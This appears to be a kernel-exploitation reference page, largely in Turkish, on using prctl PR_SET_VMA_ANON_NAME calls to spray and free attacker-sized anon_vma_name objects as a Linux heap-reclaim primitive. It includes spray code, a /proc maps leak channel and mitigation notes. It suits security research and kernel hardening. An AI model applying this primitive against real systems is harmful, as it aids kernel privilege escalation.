Skip to content

anon_vma_name spray

prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, ...) kullanarak attacker'ın kontrol ettiği struct anon_vma_name objelerini küçük kmalloc cache'lerinde allocate et; bir heap-spray / reclaim primitive olarak kullan.

Mechanism

Note

prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name), kernel'in userspace'ten gelen bir VMA adını tutmak için bir struct anon_vma_name allocate etmesini sağlar. Adın uzunluğu attacker tarafından kontrol edilir ve obje normal kmalloc cache'lerinden GFP_KERNEL ile allocate edilir; bu da seçilen bir boyuttaki freed slot'u doldurabilen, esnek, cross-cache gerektirmeyen bir spray/reclaim primitive verir. Reuse invariant'ı: kernel ada göre deduplicate eder, dolayısıyla her spray girdisi farklı bir ad kullanmalı; aksi halde yeni bir obje allocate edilmek yerine mevcut anon_vma_name objesi yeniden kullanılır.

Obje ve allocation noktası:

struct anon_vma_name {
    struct kref kref;   /* 4-byte refcount header */
    char name[];        /* flexible array, attacker-sized */
};

anon_name = kmalloc(struct_size(anon_name, name, count), GFP_KERNEL);

4-byte'lık bir header ve >4 ile 80 byte arası bir ad ile allocation'lar kabaca kmalloc-16'dan kmalloc-96'ya kadar yayılır (4-byte header + en az 5-byte ad = min. 9 byte, SLUB'da kmalloc-16'ya yuvarlanır).

Walkthrough

Sprayed objeleri allocate et ve free et:

int rename_vma(unsigned long addr, unsigned long size, char *name) {
    return prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name);
}

/* spray: each call MUST use a unique name string */
for (int i = 0; i < N; i++) {
    snprintf(buf, sizeof(buf), "spray-%d-%s", i, payload);
    rename_vma(map_addr, 0x1000, buf);
}

/* free a sprayed object (refcount -> 0) */
prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, map_addr, 0x1000, NULL);

Ad, show_map_vma() tarafından /proc/<pid>/maps içine "[anon_shmem:%s]" olarak yazdırılır; dolayısıyla maps'i okumak, name field'ını dolduran byte'ları açığa çıkarır — bir leak channel'ı, ancak yazdırma ilk NUL byte'ında durur:

$ grep anon_shmem /proc/self/maps
7f...-7f... rw-p 00000000 00:00 0   [anon_shmem:spray-0-...]

Warning

CONFIG_ANON_VMA_NAME gerektirir (yaygın distro'larda aktif; Linux 6.1.37'de doğrulandı). /proc/<pid>/maps'teki NUL-truncation, read channel olarak kullanımını sınırlar — en değerli yanı, kontrol edilen boyutta bir fill/reclaim objesi olmasıdır.

Mitigation

Ad leak'i ilk NUL byte'ında kesilir ve okunabilir pencereyi sınırlar. Userspace tarafından kontrol edilen boyuttaki allocation'ları ayrı bucket'lara izole eden hardening (kmem_buckets tarzı ayrım), spray'in aynı cache içindeki target objelere karşı güvenilirliğini azaltır.

References